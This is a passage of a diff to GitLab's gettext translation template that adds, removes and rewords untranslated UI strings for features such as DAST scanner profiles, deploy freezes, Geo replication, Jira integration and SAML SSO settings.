msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
